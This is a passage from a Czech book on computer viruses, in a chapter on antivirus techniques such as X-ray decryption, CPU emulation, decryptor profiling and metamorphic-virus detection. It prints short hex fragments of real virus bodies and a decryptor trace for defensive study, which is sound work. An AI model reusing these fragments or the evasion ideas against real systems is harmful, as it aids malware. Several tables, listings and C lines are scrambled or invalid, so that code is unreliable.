Tento kód minimalizuje počet smyček, které jsou potřebné pro dostatečně rychlé spuštění dekódování viru. Rentgenová metoda má určitá omezení v případě použití více než dvou vrstev kódování s posuvnými klíči. V takových případech je lepší použít jiné metody – třeba emulaci kódu.

Podívejte se na ukázku viru SMEG.Queeg, který je uveden ve výpisech 11.6 a 11.7.

Počítačové viry – analýza útoku a obrana

393

Výpis 11.6 Zakódovaný virus SMEG.Queeg.

32DC DE88 2030 55E4 - 3B04 6225 F12C A650 EEFB AE35 FC90 CE8A - DAB8 F220 1816 B516 1A16 03BD 912D CE6E - 2A8B 9D21 372D 9736 3A8C 3E1E 8237 5DFD - 4A4B 64EF D45D DD51

Výpis 11.7 Dekódovaný virus SMEG.Queeg.

E800 0058 FECC B104 - D3E8 8CCB 01D8 50B8 1401 50CB FA8C C88E - D0BC FC10 0606 A102 000E 1FA3 B10F E84A - 00A1 B10F 071F A302 00B0 0022 C075 19BB – 0001 2EA1 820F 8907

Můžete se pokusit identifikovat kódovací a dekódovací metody, které byly použity pro zakódování a dekódování této části virového těla. Tento úkol se dá rychle vyřešit využitím páru nulových bajtů pro obnovení klíče a delty. Všimněte si, jak s posunutím pozice těla viru roste složitost algoritmu. Pro jednoduchost jsem vypustil bajty ze začátku zakódované části kódu.

Je zajímavé, že autoři virů se rovněž pokusili vytvořit nástroje, kterými by šlo realizovat rentgenování.

Například v roce 1995 byl vypuštěn nástroj VIROCRK (Super-Duper Encryption Cracker), který měl usnadnit čtení jednoduchých zakódovaných virů. VIROCRK je ve svém rentgenování omezený – neumí například útočit na posuvné klíče, nicméně dovede rychle dekódovat mnoho virů s použitím čistého textu zadaného uživatelem.

Viděl jsem rentgenový detekční kód pro virus W95/SK napsaný Eugenem Kasperskym, který byl dlouhý cca 10 kB a byl napsán v jazyce C15. Asi vás tedy nepřekvapí, že já osobně dávám přednost jiným metodám detekce viru SK. Konkrétně metodám, které jsou založeny na emulaci typu pokus – omyl (jsem totiž velký lenoch).

11.4 Emulace kódu Emulace kódu je výjimečně výkonná technika pro detekci virů. Virtuální stroj implementuje simulaci CPU a systémů správy paměti a předstírá vykonávání kódu. Škodlivý kód se tedy simuluje ve virtuálním stroji skeneru, přičemž virový kód se na opravdovém procesoru ve skutečnosti vůbec nespouští.

Některé první metody emulace kódu používaly pro trasování kódu procesorem ladící rozhraní. Takové řešení nicméně není bezpečné, protože se může stát, že se kód viru "utrhne z řetězu" a vyskočí během analýzy z takto "emulovaného" prostředí.

Mezi prvními antivirovými programy, které začaly používat softwarovou emulaci pro heuristickou analýzu, byl Skulasonův F-PROT. Třetí generace tohoto antiviru měla už integrovaný emulátor pro emulaci složitých polymorfních počítačových virů.

Kapitola 11 – Techniky antivirové obrany

394

Pro vysvětlení, registry a příznaky 16bitového procesoru Intel mohou být nadefinovány následující strukturou v jazyce C: Typedef struct {

byte

ah,al,bh,bl,ch,cl,dh,dl; word }

si,di,sp,bp,cs,ds,es,ss,ip;

Emulator_Registers_t;

typedef struct { byte }

c,z,p,s,o,d,i,t,a;

Emulator_Flags_t;

Smyslem emulace kódu je tedy simulovat sadu instrukcí procesoru s použitím virtuálních registrů a příznaků. Je také důležité definovat funkce pro 8bitový, 16bitový a 32bitový přístup do paměti a také je zapotřebí emulovat chování operačního systému, aby se vytvořil virtuální operační systém, který podporuje API, správu paměti, správu souborů atd.

K simulaci vykonávání programů se data ze spustitelných souborů nejprve přesunou do paměti. Potom následuje gigantický příkaz switch(), který analyzuje operační kódy instrukcí, pěkně jeden po druhém.

Nejprve se dekóduje aktuální instrukce, na kterou ukazuje virtuální registr IP (ukazatel na další instrukci) a potom se pro každou instrukci zavolá příslušná virtuální funkce. Toto změní obsah paměti virtuálního stroje, stejně jako virtuálních registrů a příznaků. Potom se inkrementuje registr IP tak, aby ukazoval na další instrukci, a ve smyčce dojde k další iteraci.

Podívejte se na část kódu 16bitového emulátoru procesoru ve výpisu 11.8. Kód prvně vybere následující instrukci pro vykonání funkce read_mem(), která přistoupí k obsahu podle CS (code segment). Potom se v závislosti na předvolených podmínkách (např. počet iterací) spustí smyčka while. Emulace se zastaví v případě, že emulátor narazí na nějakou fatální chybu.

Výpis 11.8 Krátký příklad 16bitového emulátoru procesoru Intel. opcode=read_mem(absadr(CPU->reg.ip,SEGM_CS,0)); while( condition(opcode) && (!CpuError) ) { switch(code) { // Zde jsou vypsané všechny operační kódy jeden po druhém // V tomto příkladě jsou ukázané jen 2 operační kódy : : case 0x90: /* instrukce NOP */ my_ip++; break; : :

Počítačové viry – analýza útoku a obrana

395

case 0xCD: /* instrukce INT – zavolej přerušení */ emulator_init_interrupt_stack(); emu_int(code,read_mem(absadr(CPU->reg.ip+1,SEGM_CS,0))); my_ip++=2; break; : : } CPU->reg.ip+=my_ip; CPU->iterations++++; opcode=read_mem(absadr(CPU->reg.ip,SEGM_CS,0)); } /* Emuluj přerušení */ void

emu_int(byte opcode, byte opcode2)

{ // kontrola verze DOSu? if( opcode==0xcd

&& opcode2==0x21 && CPU->reg.ah==0x30)

{ CPU->reg.al=3; CPU->reg.ah=38; // DOS 3.38, proč ne? return; } : : }

Tento příklad ilustruje, jak emulátor procesoru během probíhající emulace pracuje s instrukcemi NOP a INT. Jakmile se spustí instrukce NOP (no operation), registr IP se inkrementuje. Při emulaci instrukce INT je dobře vidět (viz výpis 11.8), co emulátor udělá, když se spustí volání na zjištění verze DOSu. Prvně se nastaví stav zásobníku procesoru tak, že se na jeho vrchol vloží návratová adresa. Funkce emu_int() normálně umí obsluhovat všechna volání přerušení, ale v tomto příkladě se obsluhuje pouze kontrola verze DOSu a volajícímu daného přerušení se vrátí falešná verze 3.38. Výsledkem je, že program běžící v emulovaném prostředí virtuálního stroje získá falešnou verzi operačního systému. To dokazuje, že emulátor má všechno pod kontrolou. V závislosti na tom, jak dobře emulátor dokáže předstírat opravdový systém, má kód větší či menší šanci zjistit, že běží ve virtuálním prostředí. Je pochopitelné, že předchozí kód je dost zjednodušený, nicméně ukazuje typickou strukturu obecného emulátoru procesoru. 32bitové emulátory se liší pouze svojí složitostí.

Detekce polymorfních virů se dá dosáhnout prozkoumáním obsahu paměti virtuálního stroje, třeba po předdefinovaném počtu iterací nebo kdykoliv se splní podmínky přerušení. Protože polymorfní viry dekódují samy sebe, bude tělo viru (po dostatečném počtu iterací) přítomno v paměti virtuálního stroje v dekódované formě. Objevuje se tedy otázka, kdy zastavit emulaci. K zodpovězení se používají následující klasické metody:

396

Kapitola 11 – Techniky antivirové obrany



Sledování aktivních instrukcí – Aktivní instrukce jsou takové, které mění 8bitovou, 16bitovou nebo 32bitovou hodnotu v paměti virtuálního stroje. Instrukce je aktivní tehdy, když po ní dojde k modifikaci dvou míst v paměti po sobě, protože se jedná o typické dekódování v paměti. Ačkoliv tato technika není použitelná pro všechny typy decryptorů, pokrývá většinu případů. Emulátor vykonává instrukce až do určitého předdefinovaného počtu iterací, jako třeba čtvrt miliónu, půl miliónu nebo dokonce i milión iterací, ale pouze v případě, že kód postupně generuje aktivní instrukce. Krátké decryptory obvykle generují mnoho aktivních instrukcí. Delší decryptory, s vloženými instrukcemi smetí, používají aktivní instrukce méně často. Tuto techniku používal například IBM Antivirus.



Sledování decryptoru s použitím profilů – Tato metoda využívá přesného profilu každého polymorfního decryptoru. Většina polymorfních enginů používá v decryptoru pouze několik instrukcí a tak poprvé, jakmile se spustí instrukce, která není v profilu, dojde ke spuštění první dekódované instrukce. Tato chvíle se dá využít k zastavení emulátoru a pokusu o detekci viru.



Zastavení s pomocí breakpointů – V emulátoru je možné nastavit nějaké breakpointy pro případ, že v emulátoru nastanou nějaké předdefinované podmínky. Například instrukce nebo haš několika instrukcí se dá využít k zastavení emulace kdykoliv, když je pravděpodobné, že dojde ke spuštění dekódovaného těla viru. Jiné podmínky mohou zahrnovat první volání přerušení nebo API, protože je viry v decryptorech obvykle nepoužívají (některé viry s obranou proti emulaci ovšem ano).

Prvně je zapotřebí identifikovat místo emulace – tím mohou být všechny vstupní body programu. Také je možné zvolit všechna pravděpodobná umístění decryptoru (tato metoda může napodobit detekci falešných decryptorů, protože detekce samotného decryptoru nevyprodukuje varování před virem). Při dostatečném množství iterací se spustí decryptor a kód viru se identifikuje ve virtuálním stroji skeneru ověřováním hledaných řetězců (nebo s použitím předchozích metod) ve "špinavých" stránkách paměti virtuálního stroje.

Poznámka Paměťová stránka je "špinavá", jakmile je modifikována. Každá modifikovaná stránka má tzv. "dirty" příznak, který se nastaví ihned, jakmile v ní dojde k nějaké změně.

Taková detekce může být mnohem rychlejší než rentgenové skenování. Rychlost ovšem závisí na počtu iterací dekódovací smyčky. Pro krátké decryptory je tato metoda dostatečně rychlá a je tak použitelná v praxi. V případě delších dekódovacích smyček (které obsahují hodně instrukcí smetí) může být i částečné dekódování těla viru nedostatečně rychlé, protože počet nutných iterací je příliš vysoký. Dekódování viru by tak ve virtuálním stroji mohlo trvat i několik minut. Tento problém je také velkou výzvou pro heuristiku založenou na emulaci kódu.

Počítačové viry – analýza útoku a obrana

397

11.4.1 Detekce zakódovaných a polymorfních virů s použitím emulace Podívejte se na výpis 11.9, který zobrazuje emulaci zakódovaného viru {W95,W97M}/Fabi.9608 v PE souboru. Tento virus se v infikovaných souborech umisťuje na jejich vstupní bod. Emulace kódu na vstupním bodě má za výsledek rychlé dekódování virového kódu v paměti virtuálního stroje. Ačkoliv virus není polymorfní, základní princip detekce polymorfních virů zůstává stejný.

Virus Fabi inicializuje ESI jako ukazatel na začátek svého zakódovaného těla. Dekódovací smyčka dekóduje každé 32bitové slovo těla 32bitovým klíčem. Tento klíč je náhodný, ale zároveň se posunuje s každým průchodem smyčkou. Ve dvanácté iteraci virus generuje aktivní instrukci, protože se dvě 32bitová slova v paměti mění s každou instrukcí XOR při dekódování. To může sloužit jako signál pro emulátor, aby pokračoval v emulaci decryptovací smyčky, která se zastaví zhruba po 38000 iteracích.

Poznámka Detekce viru je možná, dokud není kompletně dekódováno konstantní virové tělo. K přesné identifikaci viru pomocí emulace je nutné ve virtuálním stroji vykonat právě toto množství iterací.

Výpis 11.9 Emulace viru W95/Fabi.

Počet iterací

Příznaky

Registry Operační kód

Instrukce

Iterace: 1, IP=00405200 AX>00000000 BX>00000000 CX>00000000 DX>00000000 SI>00000000 DI>00000000 BP>0070FF87 SP>0070FE38 FC

cld

Iterace: 2, IP=00405201 AX>00000000 BX>00000000 CX>00000000 DX>00000000 SI>00000000 DI>00000000 BP>0070FF87 SP>0070FE38 E800000000

call

00405206h

Iterace: 3, IP=00405206 AX>00000000 BX>00000000 CX>00000000 DX>00000000 SI>00000000 DI>00000000 BP>0070FF87 SP>0070FE34 5D

pop

ebp

Iterace: 4, IP=00405207 AX>0000000 BX>00000000 CX>000000000 DX>00000000 SI>0000000 DI>00000000 BP>00405206 SP>0070FE38

398

Kapitola 11 – Techniky antivirové obrany

81ED06104000

sub

ebp,00401006h

Iterace: 5, IP=0040520D AX>00000000 BX>00000000 CX>00000000 DX>00000000 SI>00000000 DI>00000000 BP>00004200 SP>0070FE38 8DB52A104000

lea

esi,[ebp+0040102A]

Iterace: 6, IP=00405213 AX>00000000 BX>00000000 CX>00000000 DX>00000000 SI>0040522A DI>00000000 BP>00004200 SP>0070FE38 B95E250000

mov

ecx,255Eh

Iterace: 7, IP=00405218 AX>00000000 BX>00000000 CX>0000255E DX>00000000 SI>0040522A DI>00000000 BP>00004200 SP>0070FE38 BB72FD597A

mov

ebx,7A59FD72h

Iterace: 8, IP=0040521D AX>00000000 BX>7A59FD72 CX>0000255E DX>00000000 SI>0040522A DI>00000000 BP>00004200 SP>0070FE38 311E

xor

[esi],ebx

Iterace: 9, IP=0040521F AX>00000000 BX>7A59FD72 CX>0000255E DX>00000000 SI>0040522A DI>00000000 BP>00004200 SP>0070FE38 AD

lodsd

Iterace: 10, IP=00405220 AX>03247C80 BX>7A59FD72 CX>0000255E DX>00000000 SI>0040522E DI>00000000 BP>00004200 SP>0070FE38 81C3C3D5B57B

add

ebx,7BB5D5C3h

Iterace: 11, IP=00405226 AX>03247C80 BX>F60FD335 CX>0000255E DX>00000000 SI>0040522E DI>00000000 BP>00004200 SP>0070FE38 E2F5

loop

O S

0040521Dh

Iterace: 12, IP=0040521D AX>03247C80 BX>F60FD335 CX>0000255D DX>00000000 SI>0040522E DI>00000000 BP>00004200 SP>0070FE38 311E

xor

O S

[esi],ebx

Jakmile je tato instance viru nahrána pro emulaci, zůstává virus v paměti virtuálního stroje stále zakódovaný, jak je vidět ve výpise 11.10.

Počítačové viry – analýza útoku a obrana

399

Poznámka Decryptor je na začátku zakódovaného těla viru a dekódování začíná (v tomto příkladu) na virtuální adrese 40522A, na kterou ukazuje ESI.

Výpis 11.10 Začátek viru W95/Fabi.9608 v zakódovaném tvaru.

Adresa Zakódované tělo viru

Text (zakódovaný)

405200 FCE8000000005D81-ED061040008DB52A ................

405210 104000B95E250000-BB72FD597A311EAD ................

405220 81C3C3D5B57BE2F5-EB00F2817D798ABB ................

405230 0FE6B8A8B14A7856-18C45E02540A2F4B ................

405240 EAEE4520F009A9BD-33FCFAC46D2B24E0 ................

405250 9EB9B0771A89BC0C-5EAEFB2294232CF8 ................

405260 FBAD71CB6510F18E-0B6EB1AE08482F2D ................

Po proběhnutí několika tisíc iterací je virus dekódován. Skener může k detekci nebo identifikaci viru ve špinavých stránkách paměti virtuálního stroje použít dříve zmíněné techniky. Vyhledávání podle řetězců se obvykle během emulace opakuje po určitém počtu předdefinovaných iterací, takže není potřeba, aby proběhlo kompletní dekódování viru. Emulaci je tedy možné rozšířit o přesnou identifikaci.

Emulace viru Fabi brzy prozradí jméno jeho autora, kterým je "Vecna", a také zprávu v portugalštině, která v překladu zní takto: "Moje poezie" (viz výpis 11.11).

Výpis 11.11 Začátek viru W95/Fabi.9608 v dekódovaném tvaru.

Adresa Dekódované tělo viru

Text

405200 FCE8000000005D81-ED061040008DB52A ................

405210 104000B95E250000-BB72FD597A311EAD ................

807C2403BF68 ................

405220 81C3C3D5B57BE2F5-EB00807C2403BF68 405230 00104000743BC328-6329205665636E61 .......(c) Vecna 405240 0D0A41206D696E68-6120706F65736961 ..A minha poesia 405250 206AA0206EC66F20-74656D2074657520

j. .n.o tem teu

405260 6E6F6D652E2E2E0D-0AD413F7BF7D4A02 nome............

Tato technika je nejsilnější metodou detekce polymorfních virů. Dá se použít i u metamorfních virů, které používají zakódované vrstvy. Antivirový produkt, který nepodporuje emulaci kódu, je neefektivní proti většině polymorfních virů. Jedná se o nebezpečí pro ty skenery, které nemají implementovanou emulaci, protože polymorfní počítačoví červi nedávají mnoho šancí v případě pomalé reakce. A skutečně – v dnešní době stále existují široce rozšířené a používané skenery, které tuto techniku nepodporují, a které tak nejsou schopny odpovídající rychlostí reagovat na složitější hrozby.

400

Kapitola 11 – Techniky antivirové obrany

Klíčová myšlenka ohledně používání emulátoru spočívá v detekci typu pokus-omyl. Počítačový soubor je totiž možné emulovat z více než sta možných vstupních bodů, pěkně jeden po druhém, pro nalezení škodlivých virů. Takový typ detekce ovšem není, při delším běhu, z časového hlediska efektivní a je možné jej uplatnit pouze v případě, že průměrný výkon procesoru dovede držet krok s rostoucím hladem po výkonu určeného pro emulaci kódu. Jak se skenery postupně vyvíjí, jejich efektivita na starších platformách pomalu klesá. Například emulace procesoru Pentium je na procesoru 8086 nebo 286 příliš pomalá. Nebo taková kapesní zařízení, která mají kromě slabého výkonu také omezené množství energie a tak se detekce a léčení složitých hrozeb pro mobilní zařízení stává pro antivirové výzkumníky opravdovou výzvou. Představte si třeba polymorfní virus běžící na Pocket PC na procesoru ARM – takový virus by byl velmi pomalý, ale antivir by byl ještě pomalejší.

11.4.2 Dynamická detekce decryptoru Tato relativně nová skenovací technika kombinuje emulaci s detekcí decryptoru. Pro viry s delšími smyčkami, jako třeba W32/Dengue, je emulace příliš pomalá. Pravděpodobný vstupní bod je ovšem možné identifikovat podle konkrétního viru. Během emulace tak může například specifická algoritmická detekce zkontrolovat, které oblasti paměti virtuálního stroje byly během emulace změněny. Jestliže došlo k nějaké podezřelé změně, další skenovací kód může zjistit, které instrukce byly během omezeného počtu iterací spuštěny. Spouštěné instrukce je možné profilovat a identifikovat instrukce decryptoru.

Například virus, který používá dekódování přes XOR, spustí ve svém decryptoru mnoho instrukcí XOR. Některé instrukce se nikdy nevykonají, takže je možné je vyřadit. Kombinace míst pravděpodobného výskytu decryptoru a míst, kde se decryptor s největší pravděpodobností nenachází, nám vytvoří výborný profil decryptoru, který se dá použít pro detekci viru společně s filtrováním, aby se snížila pravděpodobnost výskytu falešných poplachů. Tím se detekce decryptoru vylepší a hlavně urychlí.

Tato technika se nedá použít pro léčení, protože kód viru je potřeba emulovat delší čas (v nejhorších případech až několik minut), aby se celý kód stihl kompletně dekódovat.

Zdá se, že polymorfní EPO viry jsou velkým problémem pro všechny druhy skenovacích technik, které se snaží být rychlé. Heuristické metody nejsou proti takovým virům úplně nepoužitelné. Moderní heuristika založená na emulaci16 má reálnou šanci takové viry detekovat, protože se decryptor viru často nachází vně nebo blízko vstupního bodu. V takovém případě se emulátor k decryptoru dostane.

Poznámka Kompletní kontrola nad skenovacím enginem a emulátorem je pro efektivní detekci složitých polymorfních virů nezbytná. Pokud není skener založen na externích datech (interpretaci p-kódu nebo na nějakém druhu spustitelného objektu, který je součástí databáze) a není možné vytvořit samostatný kód pro detekci, skener nesplní to, co se od něj očekává, protože nebude možné jej dostatečně rychle aktualizovat. V takovém případě mají antiviroví výzkumníci problém – a s nimi i jejich zákazníci.

Technika pro dynamickou detekci polymorfních virů spočívá v použití technik optimalizace kódu za účelem zkrácení velikosti polymorfního decryptoru pouze na výkonné instrukce (bez instrukcí smetí).

Počítačové viry – analýza útoku a obrana

401

Tato technika funguje velmi efektivně s jednoduchými polymorfními viry. Předpokládejme, že emulátor potřebuje detekovat virus, který má ve svém polymorfním decryptoru mnoho instrukcí skoku a že tyto instrukce slouží jako smetí. Tok kódu decryptoru se dá optimalizovat v každé smyčce decryptoru, zatímco jej emulátor vykonává. Každý skok, který ukazuje na jiný skok, se identifikuje jako nadbytečný kód, takže je možné jej postupně odstranit. Tabulka 11.1 zobrazuje pseudo-decryptovací smyčku, která používá instrukce smetí J1...Jn a nezbytné instrukce I1...In. Možná optimalizace takových smyček tedy spočívá v odstranění každé instrukce skoku, která ukazuje na jiný skok.

Tabulka 11.1 – Pseudo-decryptovací smyčka a fáze optimalizace.

Smyčka 1

Smyčka 2

Smyčka 3

Smyčka 4

Smyčka 5

L:

L:

L:

L:

L:

I1 J L1

I1 J L2

I1 J L3

L3:

I2

I1 J L3

J L2

L2:

J L3

L2:

J L3

L3:

I2

I3

I3

I3

L3:

I2

I3

J L4

J L5

J L6

I3

J L4

L4:

J L5

L5:

J L6

L6:

I4

L4:

J L5

L5:

J L6

L4:

J L5

L5:

J L6

L6:

I4

L5:

J L6

L6:

I4

L6:

I4

I2

J L3

L1:

J L4

L3:

I1

L3:

L6:

I2

I4 LOOP L

LOOP L

LOOP L

LOOP L

LOOP L

Kód jiných instrukcí smetí, které nehrají žádnou významnou roli, se rovněž dají z toku odstranit, čímž se emulace polymorfního kódu ještě víc urychlí a poskytne lepší profil decryptoru pro následnou identifikaci.

Samozřejmě, stejně jako jiné techniky, i detekce decryptoru založená na optimalizaci kódu má svoje omezení a nedá se aplikovat univerzálně. Například složité polymorfní smetí mutačního enginu MtE (ten je více popisován v kapitole 7) se nedá efektivně zoptimalizovat. Další problémy vyvstanou v případě vícenásobného zakódování, kde je jedna vrstva závislá na druhé.

11.5 Příklady detekce metamorfních virů Existuje jistá úroveň metamorfózy, za kterou už není možné použít nějaký určitý počet vyhledávacích řetězců (pro detekci kódu). V tom momentě je potřeba použít jiné techniky, jako třeba zkoumání struktury souboru, zkoumání toku kódu nebo analýzu chování metamorfovaného kódu.

K bezchybné detekci metamorfních virů musí být detekční rutina napsaná tak, aby regenerovala nezbytnou sadu instrukcí těla viru z jeho aktuální instance. Jiné produkty používají k vyřešení tohoto pro-

402

Kapitola 11 – Techniky antivirové obrany

blému zkratky (shortcut), ale ty často vedou k neakceptovatelnému počtu falešných poplachů. Tato část kapitoly rozebírá některé takové užitečné techniky.

11.5.1 Geometrická detekce Geometrická detekce17 je technika detekce virů založená na kontrolování změn, které virus učinil ve struktuře napadeného souboru. Dala by se také nazvat jako "tvarová heuristika" (shape heuristic), protože je vzdálená přesné identifikaci a je náchylná na falešné poplachy. Příkladem viru, na který se dá geometrická detekce použít, je virus W95/Zmist. Jakmile tento virus infikuje soubor pomocí svého zakódovaného těla, zvýší virtuální velikost datové sekce alespoň o 32 kB, ale fyzickou velikost nechá být.

Soubor se tedy dá považovat za infikovaný virem W95/Zmist v případě, že obsahuje datovou sekci, jejíž virtuální velikost je alespoň o 32 kB větší než její fyzická velikost. Takové změny ve struktuře souborů nicméně mohou ukazovat na soubor zkomprimovaný za běhu. Souborové viry často používají nějakou značku, aby rozpoznaly už jednou infikované soubory a zamezily tak vícenásobné infekci. Takový identifikátor může být pro skener velmi užitečný (zejména v kombinaci s jinými geometrickými změnami) a zvyšuje spolehlivost tohoto typu detekce. Nicméně riziko falešného poplachu se tím pouze sníží.

11.5.2 Disassemblovací techniky Assemblování znamená slučování, disassemblování znamená rozdělení na jednotlivé části. V kontextu programového kódu disassemblování znamená jeho rozdělení na jednotlivé instrukce. To je užitečné při detekci virů, které mezi své vlastní instrukce vkládají instrukce smetí. Pro detekci takových virů není možné použít vyhledávací řetězce, protože instrukce mohou být příliš dlouhé a je možné, že se řetězec vyskytne "uvnitř" instrukce namísto instrukce samotné. Představte si, že byste chtěli vyhledávat instrukci CMP AX,"ZM". Jedná se o běžnou instrukci, kterou viry používají pro testování, zda-li je soubor spustitelný. Reprezentace kódu je tato: 66 3D 4D 5A

a je možné ji nalézt v kódu: 90 90 BF 66 3D 4D 5A

Jakmile se ovšem kód disassembluje, zjistíte, že to, co jsme nalezli, není instrukce, kterou jsme hledali: NOP NOP MOV EDI, 5A4D3D66

S použitím disassembleru se dá této chybě zabránit a pokud tento kód prozkoumáme dále ...

90 90 BF 66 3D 4D 5A 90 66 3D 4D 5A

... po disassemblování a zobrazení zjistíme, že ten hledaný řetězec následuje ihned za tím předešlým: NOP NOP MOV EDI, 5A4D3D66

Počítačové viry – analýza útoku a obrana

403

NOP CMP AX, "ZM"

Když se disassemblování zkombinuje emulátorem, je tato technika velmi mocným nástrojem, který činí detekci virů typu W95/Zmist a novějšího W95/Puron19 (ten je založený na enginu Lexotan) mnohem jednodušší.

Lexotan a W95/Puron vykonává stejné instrukce ve stejném pořadí, avšak společně s instrukcemi smetí a skoků, které vkládá mezí své instrukce, bez zbytečných subrutin. To je činí snadno detekovatelnými pomocí těchto disassemblovacích technik.

Ukázka detekce viru W95/Puron je k dispozici ve výpise 11.12.

Výpis 11.12 Skenování zaměřené na "zajímavé" instrukce.

MOVZX

EAX, AX

MOV

ECX, DWORD PTR [EDX + 3C]

XOR

ESI, ESI

MOV

ESI, 12345678

CMP

WORD PTR [EDX], "ZM"

MOV

AX, 2468

MOVZX

EAX, AX

MOV

ECX, DWORD PTR [EDX + 3C]

XOR

ESI, ESI

MOV

ESI, 12345678

CMP

WORD PTR [EDX], "ZM"

MOV

AX, 2468

;zajímavé

;zajímavé

ACG20 je oproti tomu komplexní metamorfní virus, který ke své detekci vyžaduje emulátor kombinovaný se stavovým strojem (state machine). Příklad takové detekce je uveden v následující části.

11.5.3 Použití emulátorů pro trasování V této kapitole jsme si už řekli, že emulace je užitečná při detekci polymorfních virů. Jedná se obecně o velmi užitečnou techniku pro práci s viry, protože umožňuje spustit virový kód v chráněném prostředí, ze kterého virus nemůže utéci. Kód, který běží v emulátoru, se dá zkoumat opakovaně nebo tehdy, když se narazí na příslušnou instrukci. Pro DOSové viry je INT 21h takovou běžnou instrukcí. Pokud se správně použijí, jsou emulátory velmi užitečné i při detekci metamorfních virů. Ukážeme si to na následujících příkladech.

Kapitola 11 – Techniky antivirové obrany

404

11.5.3.1 Příklad detekce ACG Výpis 11.13 znázorňuje krátký příklad kódu jedné instance ACG.

Výpis 11.13 Příklad instance ACG. MOV

AX,

65A1

XCHG DX,

AX

MOV

AX,

DX

MOV

BP,

AX

ADD

EBP, 69BDAA5F

MOV

BX,

BP

XCHG BL,

DH

MOV

BYTE PTR DS:[43A5]

BL,

XCHG BL,

DH

CMP

BYTE PTR GS:[B975], DH

SUB

DH,

BYTE PTR DS:[6003]

MOV

AH,

DH

INT

21

Jakmile se vykonávání dostane k volání INT 21h, registry obsahují ah=4a a bx=1000. Jedná se o konstantu jedné třídy virů ACG. Základem detekce ACG je tedy dostatečné trasování podobných instrukcí.

Není překvapivé, že některé antivirové skenery nepodporují takový typ detekce. To naznačuje, že tradiční logika emulace kódu se ve starších enginech antivirových skenerů nedá použít k trasování kódu na takové úrovni. Všechny antivirové skenery by tedy měly ubírat směrem vývoje interaktivních skenovacích enginů.

Model interaktivního skenovacího enginu je užitečný při sestavování algoritmické detekce, kterou viry typu ACG vyžadují.

11.5.3.2 Příklad detekce viru Evol V kapitole 7 se rozebírala složitost viru Evol. Evol je perfektní příklad viru, který dovede řešit problém s uschováváním konstantních dat jako proměnného kódu z generace na generaci. Trasování kódu je zvláště užitečné při detekci virů s takovou úrovní obměny kódu. Evol buduje konstantní data z proměnných dat na zásobníku před tím, než předá řízení nějaké funkci nebo API, která data očekává.

Na první pohled se může zdát, že si emulace nedokáže s takovými viry efektivně poradit, nicméně to není pravda. Emulátory se pouze musí používat jiným způsobem, aby umožnily antivirovému výzkumníkovi dostatečnou flexibilitu při řízení emulátoru prostřednictvím skenovacího jazyka, kterým se dají napsat detekční rutiny. Protože viry jako Evol často budují konstantní data na zásobníku, emulátoru se dá nařídit, aby běžel do určitého počtu iterací, a aby kontroloval obsah zásobníku ohledně konstantních dat, které tam virus umístil. Obsah zásobníku může být velmi nápomocný při detekci takových komplikovaných metamorfních virů.

Počítačové viry – analýza útoku a obrana

405

11.5.3.3 Použití negativní a pozitivní detekce Pro urychlení mohou skenery použít negativní detekci. Na rozdíl od pozitivní detekce, která kontroluje sadu vzorků, které se nacházejí v těle viru, negativní detekce kontroluje opak. Často stačí identifikovat sadu instrukcí, které se nevyskytují v žádné instanci metamorfního viru.

Taková negativní detekce se dá použít pro zastavení procesu detekce v případě, že byl nalezen obvyklý negativní vzorek.

11.5.3.4 Použití heuristiky založené na emulaci Za poslední dekádu se heuristika velmi vyvinula21. Heuristická detekce nevyhledává konkrétní počítačové viry, ale sleduje jejich vlastnosti a chování a jejich třídu detekuje generickým způsobem.

Metoda, která v našem příkladě detekuje ACG. je v zásadě velmi podobná DOSovému heuristickému detektoru. Jestliže je DOSový emulátor skeneru schopný emulovat 32bitový kód (který ACG generuje), může snadno virus detekovat heuristicky. Heuristický engine může sledovat přerušení nebo také implementovat hlubší úroveň heuristiky s použitím virtuálního stroje (VM, Virtual Machine), který simuluje některé funkce operačního systému. Takové systémy mohou dokonce "replikovat" virus uvnitř virtuálního stroje, na virtuálním souborovém systému, který je vestavěn do VM. Tyto systémy byly implementovány v některých antivirových skenerech a ukázaly se jako velmi efektivní a s mnohem lepším poměrem falešných poplachů. Tato technika vyžaduje emulaci systému souborů – kdykoliv se objeví nějaký požadavek na otevření souboru, předá se volajícímu programu (který může být virem) virtuální soubor. Potom se může takto emulovaný virus rozhodnout, zdali jej virtuální soubor zajímá a pokud ano, může jej v tomto virtuálním světě emulátoru infikovat.

Heuristický engine může vzít změněný virtuální soubor z jednoho VM a umístit jej do jiného VM s čistým stavem. Pokud modifikovaný virtuální soubor mění podobným způsobem jiné virtuální soubory v novém VM, tak heuristický engine detekuje replikaci. Moderní emulátory dokážou simulovat typické PC s Windows společně se síťovými zásobníky a internetovými protokoly. V mnoha případech je dokonce možné odchytit i šíření červa přes poštovní protokol SMTP22.

V dnešní době je velmi jednoduché vymyslet téměř dokonalý emulátor DOSu, díky výpočetní rychlosti dnešních procesorů a relativně jednoduchému a jednothreadovému operačnímu systému. Emulovat ve skeneru Windows pod Windows je ovšem mnohem obtížnější. Bezproblémová emulace multithreadového prostředí se synchronizací je velkou výzvou. Vzhledem ke složitosti operačního systému nemůže být takový systém stejně dokonalý jako emulace DOSu. A i když k vyřešení většiny problémů použijeme systémy typu VMWARE, mnoho problémů nám stále zůstane. Emulace DLL knihoven třetích stran je jedním z problémů, na který můžeme narazit. Takové DLL knihovny totiž nejsou součástí VM a kdykoliv kód viru volá jejich funkce, emulace viru se pravděpodobně zastaví.

Další problémem je výkon. Skener musí být dostatečně rychlý, jinak jej lidi nebudou používat. V případě skenerů ovšem rychlejší ne vždy znamená lepší, ačkoliv si to zákazníci mohou myslet. I kdybychom měli všechny možné zdroje k vývoji VM dokonale emulujícího Windows na Windows uvnitř skeneru, museli bychom udělat velký kompromis kvůli rychlosti – čímž bychom opět získali nedokonalý systém.

V každém případě je rozšiřování úrovně emulace Windows uvnitř skeneru dobrým nápadem, který vede k větší spolehlivosti heuristiky. Její budoucnost zřejmě spočívá v této myšlence.

406

Kapitola 11 – Techniky antivirové obrany

Bohužel EPO viry (jako třeba Zmist) mohou takový systém jednoduše překonat. Existuje celá řada virů s obranou proti emulaci. I virus ACG používá různé triky k vyřazení emulátorů ze hry. Virus se často replikuje pouze ve vybrané dny nebo za podmínek podobného druhu, což činí perfektní detekci s použitím čisté heuristiky (tedy bez dalších podrobností o konkrétním viru) mnohem složitější.

